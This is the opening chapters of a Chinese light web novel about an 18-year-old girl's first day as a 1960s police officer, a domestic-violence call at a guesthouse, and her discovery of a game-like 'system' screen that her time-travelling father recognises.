《六零小片警爱吃瓜爱工作》
1. 接班了
“九九那个艳阳天来哟,十八岁的哥哥呀……”
七月的天儿热得很,下了火一样,大清早的,也不知道谁家放了收音机,声儿大的楼上楼下都能听见,各家早起做饭的女同志都跟着哼了起来。
早上最是热闹不过,锅碗瓢盆声音不小,一阵阵香气传来,楼上嘴馋的蒋方探出头叫:“谁家一大早的就吃肉,不过日子了啊?还有半个月才开饷呢……”
楼下李大姐也探头,叫道:“蒋方,我昨天可看见你老娘买老母鸡了,你家吃得,别人家吃不得啊……”
蒋方得意洋洋:“我媳妇儿可是坐月子,正要补呢……”
“你媳妇儿都坐月子三个月了,这是生了个金蛋啊!”
“我家可是儿子,儿子懂吗!”
“咋的,你看不上女娃儿?”
“去去去,别瞎说,啥时候啊,这样的话可不好说……”
蒋方缩头缩脑,火速撤退,大家倒是哄笑出来……
二楼的一家子,陈虎梅嘀嘀咕咕碎碎念:“我就说关窗吧,你们不听,生怕别人不知道咱家早上吃肉是吧?”
“夏天你总不能一直不开窗,开了还不是有味儿,倒是不如就早上散了。”开口的男人正在摆弄收音机,好么,一大早就弄出动静的,也是他家。
这中年男人穿着半袖白衬衫,头发梳的一丝不苟,油头粉面的,瞅着吧,不朴素,不过倒是一个实打实的小白脸。
哦,不,老白脸儿。
哦,不,中年白脸儿。
“这给你嘚瑟的,一大早弄着动静。”陈虎梅作为家里的女主人,她继续转头儿又喊上女儿了:“杜鹃,杜鹃,都几点了?太阳都照屁股了,你还不起来,赶紧给我起来,今天可是上班第一天,你还磨蹭,可不能第一天就迟到。就跟你爸一样,学不到好的,磨磨唧唧的赖床……”
房门打开,一个短发女孩子趿拉拖鞋揉着眼睛,软软糯糯的:“我起来了……”
奔着厕所进去了。
陈虎梅继续念:“真是懒驴上磨屎尿多,这一大早的……”
她还想继续念,厨房里正在做饭的大汉可听不得了,说:“好了,孩子上厕所你也叨叨,谁早起不上厕所,你咋这么能叨,赶紧摆桌吃饭了。”
“就是就是。”油头粉面中年男在一边儿敲边鼓,他是杜国强,户口本第一页,一家之主。
呃……毫无威严。
陈虎梅:“你就护着她,这都几点了……”
“天气热的睡不着,半夜才睡,起晚了不是正常?”大汉不在意的说。
短发少女趿拉着鞋从厕所出来,笑嘻嘻:“舅舅最疼我了。”
陈虎梅翻个白眼儿,说:“你们就惯着她吧。”
“我外甥女儿,我不惯着她惯着谁?”
一家子很快的就坐,这一大早吃肉的不是别人,正是这一家子,不过他们一家子四个人三个工人,那也是顶顶吃得起的。一家之主就是杜国强。
杜国强,男,三十八岁,下面宝山县半拉山子乡柳树屯儿人,实打实的农民,年轻那会儿活络,凭借一张好面孔笼络到了城市女孩儿陈虎梅,又靠着几分小聪明抓到了特务,被招进了公安队伍。
那会儿是建国初期,正是缺人,杜国强有功劳又根正苗红的贫农家庭,实打实的好成分,顺利入职。
不过这人是个典型的动脑还成,体力不行,人也不上进,这些年也没混出个什么能耐,今年更是主动“退位让贤”,把工作让给了今年高中毕业,十八岁的独生女杜鹃,才三十八岁,就正式成为家庭妇男一枚。
他媳妇儿陈虎梅,轧钢厂食堂工作,大锅饭大厨儿。陈家父母在她小时候就去了,她是跟着哥哥长大的,兄妹两个相依为命,所以陈虎梅相当强势,半点也不吃亏。
据说,当年陈家老头儿是给女儿起名叫虎妹的,哥哥叫陈虎,妹妹叫虎妹。这倒是也没毛病,没文化都这么起名儿。但是落户登记的时候,那边儿阴差阳错登记成了虎梅。
妹妹的妹,变成了梅花的梅。
虽说是个小小的阴差阳错,但是陈虎梅还挺高兴的,她觉得虎梅总是比虎妹好听的。往日里大家都叫她大梅子。
同时跟他们一起住的,就是陈虎梅的哥哥,陈虎。
要说陈虎为啥跟妹妹一家子一起生活,那还真是杜国强这厮占着大舅哥的便宜了,他家前年分房能分到三室一厅,靠的也是大舅哥的工龄。陈虎他们家祖上是厨子,这也算是家学渊源,陈虎十岁那会儿,家里有了大梅子,兄妹俩差了十岁呢。只是陈虎十五那年,他家父母因为一场破坏牵连去世了。
从此十五的陈虎就带着五岁的妹妹一起生活,后来更是凭借手艺进了市公安局食堂,做了厨子。也顺利成家,那会儿也算是春风得意。只可惜,他也是命运坎坷。刚建国那会儿坏人多,搞破坏的也多,虽然是厨子,但是因为在公安局工作,陈虎也是很有警惕性的,在一次发现特务与其搏斗的时候,他因为救人出了事儿。
伤的不重,但是好死不死的,他伤到了关键位置,从此不行了。
当时大庭广众之下也没说瞒着,所以就闹得人尽皆知。这种情况下,又还没个孩子,女方就不想过了。所以陈虎就跟结婚一年的媳妇儿离婚了,从此一个人带着妹妹。
再后来陈虎梅相中了杜国强这个小白脸儿,他又跟着妹妹一家子一起生活。
再再后来,就有了杜鹃。
算是一家四口。
陈虎梅生杜鹃的时候伤了身子,不能生了,家里就这么一个独苗苗儿。
虽说六十年代日子过的苦,但是荒年饿不死厨子,这话可不是玩笑。更不要说,他家还两个厨子,所以杜家的日子那是数一数二的。这一大早就吃肉,楼里人都有些揣测,约摸着就是大梅子这一家了。
谁让人家负担最小呢,四个人三个工人哎,真是羡慕死人了。
这家属院儿的女孩子,就没有不羡慕杜鹃的。
一些老娘们可没少在背地嘀咕,没见过比她会投胎的。
这不,这会儿被大家嘴着最会投胎的杜鹃正在吃馅饼,纯肉的,白面包出来,用油一煎,简直是人间美味。
杜鹃一口气能吃六个,虽然瘦,但是也挺能吃的。
她今年十八,高中毕业十天就接了她爸的班儿,去了派出所,成为一名光荣的公安同志。手续已经走完了,今天第一天正式上班。要不说一大早吃肉饼呢?
这是庆祝小杜鹃正式踏上工作岗位。
按理说,杜鹃高中毕业,也不用非得接班,可以等街道分配的。但是这两年政策一年不如一年,他家又有三个工人,一般都不会优先给她分配。
如果找关系托人,现在这情况,也不稳妥。
再加上后续的一些政策……
杜国强当机立断,直接让闺女接班。
这要说起来,杜国强让闺女接班,这可真是惊呆了所有人的眼球儿。
没想到,万万没想到。
杜国强,他才三十八啊!
人家都五十了还在岗位上奋斗呢,就这也没说让孩子接班啊。他才三十八就让闺女接班,这真是让人想不到。在很多人看来,一个小姑娘不上班在家操持家务,总是好过杜国强一个大老爷们在家吧?
但是杜国强就不就不!
但凡是认识杜国强的,就没有不无语的。
但是再一想,这真是杜国强能干出来的,毕竟,这人就是个奇葩啊!
要说他们市里,杜国强也是有一号的人物了,呃,软饭吃的心安
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理得得意洋洋的,他是独一份儿了。
言归正传,不说杜国强这厮,今天是杜鹃最重要的日子,她一大早已经换上了公安制服,因为要加入公安队伍,她把自己一头乌黑的麻花辫儿都剪掉了,现在变成了胡兰头。
杜鹃剪头发的时候,还不舍得的哭了一场,但是大辫子卖了一块二毛钱,她买了半只鸡炖土豆儿……滋溜儿,真香!
不心疼了。
杜鹃特别会长,她妈妈个子高,五大三粗的,长得不好看。她爸爸长得好,但是个子不算高,人很瘦。
她是个子像妈妈,长得像爸爸。
高挑的姑娘一身公安制服,乌溜溜的大眼睛,白皙的皮肤,朝气蓬勃的。
他们一家子一起下楼,遇到上班的楼上楼下邻居,一个个打招呼:“呦,小杜鹃要上班了啊?你看看,你看看啊,穿着一身儿真精神。”
“杜鹃你那乌黑的大辫子真是可惜了啊。不过你这短发也好看,这长得好看咋的都好看,往后可得好好干啊!”
“老杜你这是干啥?你闺女都接班了你还去?要不是我说你啊,你就是想一出儿是一出儿,小杜鹃也不是不分配,等一等呗?你就是个急性子。这倒好,你这么一搞,街道不用给她安排了。要不再等等,你们家说不定就四个工人了。”
“你后悔了吧?后悔也换不回来了。”
……
大家伙儿碎碎念。
杜国强好脾气的笑,说:“我后悔啥?我可不后悔,我闺女早点上班多好,为人民服务嘛,我闺女可是高中生,更适合早日加入公安队伍。我才是小学毕业,她比我强。我们家这也是为了更好的为人民服务。再说这一家子都上班,也太忙活了。正好家里也得有个人操持家务,我看我行!”
“……”大家无语。
“都说妇女能顶半边天,也是时候让我闺女证明一下了。”杜国强揪住两个上班的同事加邻居,叭叭叭:“我跟你们说啊,老王老高,你们可都是看着我家闺女长大的,那可都是我们家杜鹃的叔伯,你们平日里可得多照看小杜鹃啊。这虽说我闺女是妇女能顶半边天,但是你们做长辈的也不能不照看侄女儿啊。咱们这么多年的邻居了,你们要是不照看侄女儿,那可是不厚道,你们是知道我的……”
“好了好了!”
“我的天,你又开始了……”
“咋啥话都让你说了,大老爷们的,比老娘们还碎嘴子。”
杜国强不同意的摇头:“你们这么说又不对了,什么叫比老娘们还碎嘴子?这话的前提可是假定老娘们碎嘴子。你们这是看不起妇女啊,凭啥老娘们就是碎嘴子?男人就不能碎嘴子了?你看我,我就碎嘴子,你还不允许吗?再说……”
“得得得,我服了,我服了成吧?”
“你别说了,照看,照看行了吧。你可别挑拨……”
杜国强:“你们知道就好,杜鹃,以后在派出所,有那不好处理的就找你王叔高叔,谁欺负你,你告诉我,我找他们家去……”
“我跟你一起。”陈虎幽幽开口。
老王老高:“……”
两个人默默看了一眼身高一米九七的陈虎。
陈虎,身高一九七,体重一百九,这个身高可不算胖,但是也是一个十足的壮汉,站那儿跟一堵墙似的,能打虎那种。再看一眼他妹妹大梅子,身高一七九,也是壮硕一女同志。
他们还没见过比陈虎梅还高的女同志。
再看一米七三,单薄的像是一阵风都能吹跑的杜国强。
老王老高又沉默了。
赘婿不易啊!
“你放心,我们肯定好好照顾杜鹃。”
铿锵有力!
杜鹃乌黑明亮的大眼睛眨了眨,俏生生的笑了出来……
2. 受伤了
江桦市是个北方小城。
别看有个“江”字儿,但是半点不靠江,不靠江不靠海。
不过他们市最多的树木就是白桦树,倒是应了这个“桦”字儿。
虽说江桦市只是一个北方小城,但是江桦市地理位置好,是北方最大的交通枢纽。往许多城市中转,都要从江桦市倒车。而江桦市不仅有北方最大的火车站,还有北方最大的钢铁厂。
虽说城市不是最大,但是却又是个富裕的城市。
不说旁的,一大早的,满大街早起上班的工人,熙熙攘攘的,自行车更是如同一条长龙。这一瞅着,可不比什么首都沪市那样的大城市差。
这会儿的北方,重工业基地,老百姓也算是数得上的富裕。
大夏天太阳起来的早,这会儿已经有些艳阳高照,晒的人蹬车都快了,杜鹃骑车嗖嗖的,遥遥领先。精力充沛的元气少女嘎吱一拐,“飞”进了派出所的大院儿。
虽说是第一天上班,但是小杜鹃打小儿就跟着爸爸,小时候就是这边的常客,熟悉的就跟走城门儿一样。
刚给车停到车棚,就有人笑着搭腔:“小杜鹃来上班了啊?怎么样?怕不怕?”
“你爸个完蛋玩意儿,大老爷们就让你一个半大孩子上班,他就缺德吧。”
“哎呦,你说你这孩子是不是又长高了啊,瞅瞅这大高个儿,都快赶上你爸了吧?”
“往后咱们可就是同事了,小杜鹃好好干啊!争取早日当上所长局长,让你爸看看什么叫青出于蓝而胜于蓝。”
大家开玩笑的说着有的没的。
虽然杜鹃已经正式参加工作了,但是在这些看着她长大的叔叔伯伯婶婶姨姨面前,她其实就是个小丫头。她清清脆脆的开口:“王叔李叔张叔赵叔陈姨田姨早上好!”
“呦,这精气神儿不错啊!”
杜鹃扬了扬下巴,说:“那可不,嘿嘿~”
正说着,老王老高骑车赶上了,气喘吁吁,老高:“小杜鹃你这一身的牛劲儿,骑的也太快了。”
老王:“我紧赶着追,也没追上!”
其他人都笑了出来,调侃:“你们可是老同志了,咋的?还比不过年轻的新同志啊,你们这可不行啊!”
“这话让你说的,她腿多长,我腿多长,我才一六五,我捯饬两圈儿能跟上人家捯饬一圈儿。这哪是我不行,先天条件就不优越啊!”
“你还挺有理……”
大家正说着,就看一个中年公安急匆匆的出来,叫:“老高,赶紧的,准备出警,有人报案!三街招待所有人乱搞男女关系,你领几个人过去处理一下……”
“卧槽!”
“妈耶,一大早的就这么刺激的吗?”
中年公安姓卫,是副所长,他瞅了一眼,视线停在杜鹃身上,说:“小杜鹃你也来了啊,正好,你跟着老高过去。”
“她今天第一天上班,还没熟悉……”老高想要拒绝,卫副所:“外勤就她一个女同志,她不去谁去?这种男女关系的事儿,得有个女同志在场,更方便一些。”
老高:“那行,杜鹃你跟我走。”
他又叫了好几个,一行六个人。
派出所这两年没来新人,唯一一个新人就是今天入职的小杜鹃,老高叮嘱她:“去了之后别莽着冲,听我指挥。这种事儿,原配肯定要闹的,好好说说哄哄,能大事化小就大事化小,懂不?”
杜鹃绷紧小脸蛋儿,严肃点头。
“别紧张,有我们呢,没事儿。”老高安慰一句。
杜鹃大眼睛很明亮有朝气:“我知道了。”
三街招待所不远,不过路上老高还是很快的介绍了一下:“这是陈晨,大前年来的,你叫陈哥。这几年你念高中过来少了,没咋见过吧?哦不对,也见过。应该也见过的吧?你陈哥是大学生,正经公安大学毕业的,有什么专业的东西跟着他学。”
杜鹃:“我以前见过的,陈哥好。”
陈晨含笑点点头,话不多。
“这是张胖子,你胖叔不用我介绍了。”
杜鹃笑嘻嘻的:“胖叔好。”
张胖子叫张庞,又胖,原名儿就只会办案时候用了。平时都是张胖子。
张胖子四十多了,跟杜鹃她爸杜国强同期,看着杜鹃长大的,乐呵呵的摆手:“去去去,我还用介绍?”
老高:“杜鹃正式加入,总要正式介绍一下的。来,这个是陈正民,陈叔。你陈叔可是部队退伍的,能耐着,你要是想练擒拿就找你陈叔。”
杜鹃眼睛亮亮的,陈正民也和气:“等陈叔教你。”
杜鹃喜滋滋点头。
老高:“最后这位不用介绍了吧,你爸的师父,你师爷,蓝海山。你蓝大爷师爷可不是一般人,建国前就是江桦市的老公安了,江湖人称万事通,咱江桦市的人,就没有你蓝大爷不知道的;也没有他不知道的事儿。那些古早的老事儿,你问他,准没错。”
杜鹃跟蓝大爷可是很熟的,她爸的师父,两家常有走动,她乖巧的打了招呼。
杜国强虽然工作不算上进,但是同事关系处的很好,这些老同事就没有不认识杜鹃的。这么一个介绍,其实可有可无,但是也算是正式的接纳杜鹃成为同事,而不是同事家的小孩子。
除了陈晨,其他的杜鹃都熟悉。
老高语重心长的说:“咱们出外勤,按规定,至少要四个人,分散围追堵截也要求至少两人一组,往后大家少不得一起出来,慢慢就熟悉了。”
作为新人,小公安乖巧点头,表示懂了。
招待所真是不远,介绍个人的功夫,就到了,几个人一起进门,这会儿招待所已经里三层外三层,叽哇乱叫,呜呜渣渣!别看平时好像也没啥人,但是但凡是有点热闹,就能看出人多了。
那可真是人山人海。
这会儿这边就是这样。
杜鹃作为新人,很主动的上前,清脆的开口:“让一让,都给我让一让。”
“让不了,我还想看呢……”
“别挤别挤……”
大家拥挤着跳着向前张望,站的稳稳的,就是不让,老高也习惯了,高声吼道:“公安办案,让开!”
呼啦!
瞬间让出一条路。
老高没有一点刚才的笑模样儿,板着一张脸,领着人赶紧上楼,事发现场在招待所二楼,二楼密密麻麻的人,窃窃私语。
老高使了一个眼色,张胖子立刻开口:“公安办案,不相干的人都不要留在这里围观了,都散了,都赶紧散了吧……”
眼瞅着大家期期艾艾的不想走,蓝海山瞅了一眼人群,点名:“李贵儿,你不上班去?你家好几个孩子,养家不比看热闹重要?”
“陈家婶子,你不照顾家跑来看热闹,你家老头子下班回来可又要跟你呛呛了……”
“还有你,小五子,你怎么在这儿看上热闹了,大小伙子不好好的找个工作,对了,赶明儿你去一趟派出所
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,你那个朋友……”
……
叭叭叭。
到底姜还是老的辣。
蓝海山一出手,大家一个个倒是不敢留在原地看热闹了,一个个到底是“乖巧”离开。刚才还沸沸扬扬拥挤的走廊,瞬间没几个人了。
还有几个没走的,都是住招待所的,也赶紧回屋了,但是脑袋倒是从门口探出来,张望着。
蓝海山撵人的时候,杜鹃环视一周,打量了下,就见一个男人蹲在墙角,薅着头发,眼睛赤红,不断是扇自己的大嘴巴子。自个儿打自个儿,啪啪响。
屋里一个女人捂着脸,靠在墙上动也不动,另一个女同志趴在床上嘤嘤哭。
两个女人都衣衫不整,头发凌乱,看着狼狈极了。
老高:“我们是十道街派出所的,我姓高,说说吧,怎么回事儿?”
他瞅了一眼这个男人,再看两个女人,哪里还有不懂的?
这事儿也不难猜,报案的时候就说了,是乱搞男女关系。不管什么时候,桃色纠葛都是不少的,他们也处理可不少了。他语重心长的说:“哪个是你媳妇儿?这好好的日子不好好过,你对得起你媳妇儿吗?”
男人猛地抬头,不可置信的看着老高,突然猛地就暴起,嗷的一声,叫:“他妈的!他妈的啊!我对不起她?是她对不起我!这个贱人,这个贱人啊!她趁着我跑车不在家,竟然出来鬼混,她对得起我吗?”
他撕心裂肺的吼了出来,随即指着屋里两个女人骂道:“乱搞男女关系的不是我,不是我啊!是她们!这两个贱人,她们竟然搞在一起了。真他妈恶心,竟然女人找女人,我捉奸在床,我捉奸在床啊!你们说这叫什么事儿!这个贱人,这个贱人,我要打死她!”
众人瞬间目瞪口呆,饶是他们片警儿见多识广,也一下子没反应过来。
怎么个事儿?
敢情儿是这两个女的有一腿?
男人更加气急败坏,他挥舞拳头猛地冲过去,杜鹃一直紧紧盯着他呢,眼瞅着他一拳就要砸过去,顾不得其他,上前猛地伸腿一挡,随即抬手擒拿,一下子就将人反手按在了墙上。
“啊啊啊啊!放开我!放开我!我打死她们!她们这对狗男女,啊呸!狗女女!这两个该死的女人,我打死她们……她给我戴绿帽子啊!我这头啊,绿了啊!绿毛龟了啊!我打死她们,放开我,赶紧放开我!”
男人拼命挣扎,发疯叫:“你们别拦我,你们谁也别拦着我,我打死她们,我要打死她们。”
他的动作猛地更激烈起来,脑壳子用力往后一撞,杜鹃吃痛,被他用力甩开,一下子嗑在了墙上。
“杜鹃!”
老高瞬间变了脸。
陈正民这会儿也反应过来,一个健步上前,瞬间将人用力一按,男人单膝跪在地上,被按在墙角,动弹不得。
“杜鹃,杜鹃你没事儿吧?”
杜鹃额头渗出了血丝儿,抬手摸了下,轻轻摇头,浑不在意的摆手:“我没事儿。”
她掏出手帕擦了下,手上的动作一顿,突然呆住。
使劲儿闭眼,再睁开。
她猛地用力掐了自己一下。
她的面前,出现了一个框框,滋啦滋啦的闪烁……
“杜鹃?”
杜鹃强撑着镇定,随即用力甩甩头,说:“我没事儿……”
再掐一下自己,这玩意儿还在,闪的更快了……
杜鹃:要命!见鬼了!
3. 心慌慌
女人和女人偷情!
这事儿闻所未闻,就那么一个晃神儿,杜鹃就受伤了。
老高不放心的问:“你真没事儿?怎么撞完了呆呆的,要不要紧?头晕不晕?有没有恶心的感觉?要不这样,你先回去,去医院看看,这脑子的事儿,大意不得。你……”
“啊啊啊!放开我,放开我,我要杀了这两个贱人,这个背叛我的贱人,吃我的穿我的用我的,还敢给我戴绿帽子,我要杀了她!这个丢人现眼的贱女人,啊啊啊……”
老高还没说完,那男人又发疯的挣扎起来,歇斯底里,力气大的像头牛,他用力挣扎,叫:“我要杀了她,我要杀了她们,杀她全家。她对不起我,对不起我啊!我养条狗都比养她强!你们别拦我,你们都松开,都给我松开……”
陈正民一个练武的大老爷们竟然都有点制不住这人了。也怪不得杜鹃按不住这人。
张胖子立刻上前,两个人一起紧紧把人按住。
“你老实点,有什么事儿不能好好说,你打人解决不了问题。杀人更是犯法的,你难道就要为了这个把自己一辈子葬送了?”张胖子劝着这暴躁的男人。
真的很难想象,刚才他还自己打自己呢,看着窝囊极了。
这会儿竟然就发疯了。
杜鹃眼前依旧滋啦滋啦,不过她这会儿就算是再心慌也没说要走,反倒是上前,打算给两个女同志领远点。不管谁对谁错,总归要保证人的生命安全。
“你们跟我来。”
原本趴在床上嘤嘤哭的女人终于坐起来,她露出自己的一张脸,脸上鼻青脸肿,柔柔弱弱。
她哭的更厉害,猛地扯开自己的衣服。
“你干什么!赶紧把衣服穿好!”老高叫出来。
杜鹃反应很快,一下子就挡在了女人的面前,遮住几个男人的视线。
女人嗷嗷哭:“你看我,公安同志,你看看我,你看他把我打的。你看啊!他说我偷情,他说我偷情我不认,我就是想跟我干姐姐一起逃走。我想逃走而已!呜呜呜……我要是不走,他就把我打死了。他先头儿的媳妇儿就死的不明不白。我跟他过不下去了。你们不知道,他在外面装的跟个好人一样,又有体面的工作又会赚钱,可是回家突然间又会暴躁。他发疯的,就连邻居大哥跟我说句话,他回家都要打我的。他这是气急败坏才打了我的脸,平时为了装好人,他打的都是我的身子。你看看,这看不见的地方被他打的……他是开大货车的,还在外面乱来,把脏病传给我……我根本没有偷情,我们之所以故意这样就是为了让大家都过来围观,人多了,我们才安全,不然我就没命了,我就没命了啊……”
杜鹃仔细打量了一下女人身上,果然新伤叠着旧伤,全在外人看不见的地方。
她回头冲着老高点点头。
老高严肃起来。
“我不是不想好好过日子,但是能活着谁想死啊!我就是想逃走啊!我娘家收了他的彩礼,逼着我跟他过,我过不下去啊,这几年我骨折过多少次了,都是被他打的,他之前结婚过三次了,媳妇儿都是死的不明不白,你们去查啊,去查啊!我不想死啊……”
这会儿捂着脸的女人也放下了手,她也挨了打,脸上都是伤,刚才一直遮着,恐怕就是因为这个。
她含着泪,说:“我、我是医院的护士,我原本就认识这男人的前妻,那会儿他前妻就总是挨打,还总说是自己摔的。后来听说人没了,我当时就有所怀疑了。可是我没什么证据,我也胆小没敢说什么。后来我又认识了他现在的妻子,因为先头儿的事儿,我对她有些关注,也认了干姐妹。这几年她也经常受伤,我不想她步了以前那个女人的后尘,才想帮她逃走的。没想到这男人追来了,我们怕被打死,才假装是偷情,女人和女人偷情,大家肯定更看热闹,可以撑到你们来……幸好你们来了!”
男人不可置信的看着两个女人,说:“你们撒谎,你们两个贱人撒谎,我来的时候,你们光着睡在一个被窝儿。你们两个贱人……”
“我没有!我真的没有的!”
柔弱女人叫:“你打我们,你要打死我,我才抱住她假装是偷情的……你是个疯子。你是个疯子。你前妻都死的不明不白……你这么发疯是因为我偷情吗?你是因为公安来了。你是故意虚张声势这么疯是掩饰自己心虚……”
“你他妈还敢胡说,你这贱人偷情还敢冤枉我,你个不干净的女人,我打死你……公安同志,你们别相信她的话,她这不正经的女人摆明了是要陷害我掩盖自己偷情……”
“你个暴力狂,你个杀人狂!”
“你个不守妇道的贱人!”
双方各执一词。
老高:“事情比较复杂,既然各执一词,就都回派出所,再详细调查。”
“这贱人偷情还冤枉我,你们怎么能相信她,她就是个不守妇道的破烂货……”
“你是个暴力狂,你是个疯子,你前妻都死的不明不白……”
鼻青脸肿的女人瑟瑟发抖,似乎是怕极了,她哭着说:“我一定要离开他,不然我会死,我会死的……”
杜鹃柔声安抚她:“来,把衣服穿好,先把衣服穿好,有什么我们去派出所。谁对谁错,我们会仔细调查的,不会冤枉一个好人,也不会放过一个坏人。一切都有组织做主呢。”
她问:“你们带手帕了吗?如果带了把脸挡一下。”
“不,不用,我们是清白的,我不怕!”
杜鹃:“好。”
她主动帮着两个女同志把衣服整理好了,这才回头示意,老高:“走吧,回所里。”
“贱人,贱人!你冤枉我,你不守妇道……”
“我不想被你打死……”
两个人车轱辘话来回的叫嚷,老高他们幸好来了六个人,不然闹腾起来,保不齐还制不住人。杜鹃走在两个女同志的身边,滋啦滋啦……
谁能想到哎,她面前还在噼里啪啦的滋啦!
她能面不改色,已经是用尽自己所有的定力了。
杜鹃攥紧了拳头,强撑着不漏一点痕迹。
她爸说过的,越是遇到大事儿,越是要镇定,要镇定要镇定!
滋啦滋啦……
杜鹃咬住唇,一行人终于走进了派出所——咔咔咔!
原本还在滋啦滋啦闪烁的一个框框,竟然跳来跳去,发出咔咔声,终于,在她踏进大门的一刻,跳出来一个像是电视机屏幕一样的东西。
杜鹃一个踉跄。
“杜鹃!”
蓝海山赶紧扶住杜鹃,担忧的说:“你没事儿吧?”
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他不放心的看了一眼杜鹃的额头,说:“你去医院看一下吧,虽然看着不重,但是脑子是个精细物件儿,你别是撞出脑震荡,还是去医院看看。”
他也怕杜鹃这小丫头逞强,说:“这里还有我们呢,用不上你一个新人,你听我的,回去吧。让你爸领你去医院看看。”
老高听了,也是赞同的:“对,杜鹃你去医院看看,这第一天上班就受伤,我都不知道怎么跟你爸交代。你别让我们担心,回去吧,我给你请假。”
杜鹃犹豫了一下,随即很快的点头,说:“好。”
这会儿她也不敢逞强了,遇事不决找她爸!
她心慌的厉害!
“你走回家,别骑车了,头不舒服,骑车摔了咋办!慢慢走回家,让你爸领你去医院哈。”
杜鹃点头:“好。”
随即赶紧摆手:“你们快去处理这些事儿。”
她站在原地,缓和一下,揉揉脑袋,这才转身。
她慢吞吞的一路走出去,直到踏出派出所,面前的屏幕没有半点变化。杜鹃眼睛有点发直,不过还是一路顺着墙根儿往家走。这一路,面前的屏幕都没变化的。
杜鹃心慌慌的,但是……不太害怕!
反正、反正不是见鬼就是未来科学。
她懂,她懂哒!
杜鹃一路回家,半上午这会儿家属院倒是没什么人,上班的上班,做家务的做家务,买菜做饭的也出门。杜鹃一路到家,都没遇见什么人。
她哆嗦着手开了门,这会儿杜国强正坐在客厅踩缝纫机,乍一听到开门声,疑惑回头。
“杜鹃?”
他惊讶的很,但是又一下子看见杜鹃的额头有擦伤,瞬间蹦起来:“你的头怎么了?怎么上班第一天就受伤了?谁欺负你了?快来,我看看!”
杜鹃见到爸爸,瞬间放下心,原本的一点点心慌也一下子就踏实了。
她赶紧拽住爸爸,说:“爸,我见鬼了!”
杜国强:“???”
他抬头摸摸闺女的头,说:“脑震荡?”
好人哪能见鬼?
这是撞到头了啊!
杜鹃绷绷嘴角,急切的说:“爸,我没撒谎,我看到一个奇怪的东西。”
她一点也不瞒着亲爹,迫不及待的比划,说:“就在我面前,有这样一个屏幕,跟电视机的屏幕差不多,上面有一些图片。”
杜国强一愣,随即严肃起来,认真说:“什么样?”
他并不怀疑女儿的话,很快又说:“我找纸笔,你画下来我看看。”
不过很快又说:“你这头怎么回事儿?家里有紫药水,我先给你额头擦一点紫药水。这好端端的怎么受伤了?这些瘪犊子,我跟他们说多照看你,结果第一天你就受伤,真不仗义。”
杜鹃:“受伤的事儿等会儿说,我们先说这个。”
“什么先说这个,先给你处理一下伤口,咱们再说。”
他麻溜儿的找出紫药水给女儿擦了额头,又贴了一小块纱布,自从做公安,他家就备着这个。好在,看着确实是小伤中的小伤,没大事儿。
杜鹃这会儿也迫不及待的给面前的屏幕画好了。
她扬了起来:“爸,你看!”
杜国强瞬间变了脸色……
4. 有系统
这看起来,像是一个简易单机游戏!
在这个场合出现,它更像是一个……系统!
杜国强脸色瞬间变了。
杜国强有一个大秘密!
天大的秘密,父母妻子女儿,全然无人知晓的天大秘密!
他打算一辈子带进棺材的天大秘密,他,杜国强,是个穿越党。
在如今一众加班猝死,睡觉睡死,救人身亡,意外撞车等等奇奇怪怪的穿越方式下,他,杜国强,死因不明。不过不管是不是死因不明,反正他莫名其妙就来了一九四零年。
众所周知,四十年代的日子,那可不好过。
他成了江桦市宝山县半拉山子乡柳树屯儿的一个半大小子,十来岁的小子,上面有哥哥姐姐,下面有弟弟,算是家里的透明人。这小子是饿死的,一直到他来,家里人也没有发现家里这老三死了。
杜国强前世也叫这个名儿,穿越还叫这个名儿。
可是他到底不是真正的杜国强,饶是伪装的再好,他从二零二四到一九四零,八十多年的鸿沟,也有很多不习惯,即便如此,也没人发现他的不对劲儿。这家里人也没有一个人发现,原主儿被穿了,被李代桃僵了。
其实杜国强是最为原主儿难过的。
一个人,到死都没有被人关注过。
不过又一想,自己也并不是死了,而是一个晃神儿就变成了一九四零的杜国强,他隐隐有种怀疑,他没死,对方可能也没死,他们互换了。
原主儿可能变成二零二四的自己,这么一想,他又觉得,更需要同情的必须是自己。
不管怎么样,日子总是要过。没人最疼他,他就最疼自己。
后来他自己凭借穿越的“先知先觉”进了城,成为一名公安,也习惯了这个年代的日子,可就算是这样,这大秘密他也没想着告诉谁。只是如今,他倒是真真没想到,自家闺女作为一个穿二代,竟然会有这样的奇遇!
天大的奇遇啊!
这特么比他是个穿越的还让人惊悚。
他们家难道都是天选之子?他们家是天选之家?
他闺女,似乎有了一个系统。
虽说穿越几十年,但是杜国强又没有失忆,他自然是记得现代的,这种情形,摆明了是来了一个系统。
这系统很简单,上面挂了一个晃荡的木头牌子,简简单单四个大字儿:天降正义。
天降正义的第一栏。
宿主:杜鹃(已绑定)。
下面是一个个小方框,每个方框里都是一样东西,分为上下两行,每行是五个,上面是鸡蛋,鸡头,鸡爪,鸡肝,鸡脖;下面是鸡腿,鸡胸,鸡翅,鸡架,鸡屁股。
而每一样东西下面,画的都是金币。
鸡蛋下面是一金币×10。
鸡头鸡爪鸡肝鸡脖,这上面的一排,都是这个数额,后面都是乘以十。
而下面就不同了,鸡腿鸡胸都是乘五,鸡翅鸡架依旧是乘以十,只有鸡屁股,乘二十。
而最下面,金币数额是:100。
杜鹃画的很详细,小声说:“爸,你看,我前面的屏幕就是这样的。”
杜国强认真问:“还有别的按钮吗?”
“下面还有一个实时消息。”
“你点开看看。”杜国强倒是不担心什么,这种情况,他们本身也做不了什么更多,倒是不如大大方方的好好看看。
杜鹃忍不住抬手触碰了一下空气,杜鹃眼睛有点发直,但是杜国强是知道的,这是她在看那个屏幕,嗯,杜国强看起来她是触碰空气,但是杜鹃实打实的感觉到自己碰触到屏幕了,大概是因为她点了一下实时消息,下面的实时消息瞬间出现“实时播报已开启”字样。
杜鹃吓了一跳,眼睛瞪的滴溜圆儿,虽然已经是个大姑娘,但是她才十八啊!
这么离奇的事儿,如果不是亲爹在身边,她是万万不敢乱动的,但是这会儿倒是眼睛瞪的都要凸出来了,大的像牛眼。
“有什么?”
杜鹃盯紧了实时消息,这时实时消息上面也出现了字迹。
实时消息:一九六七年七月,大货车司机张少伟因为妻子偷情,恼羞成怒意外将妻子与情人撞下楼,造成伤害昏迷。鉴于受害者过错,张少伟积极赔偿及受害者家属谅解,最终无罪开释。其后,张少伟利用工作便利对多人谋财害命,一九七六年杀害机械厂会计当场败露被发现逃窜。经查实,他杀害四任妻子,谋财害命十七人,利用大货司机的特性异地抛尸,躲避公安追查,最终被抓获落网。此案被称为七十年代江桦市第一大案。
因宿主拦下张少伟逞凶,后续发生改变,挽救十二人性命,一人次奖励五百金币,获得金币六千。
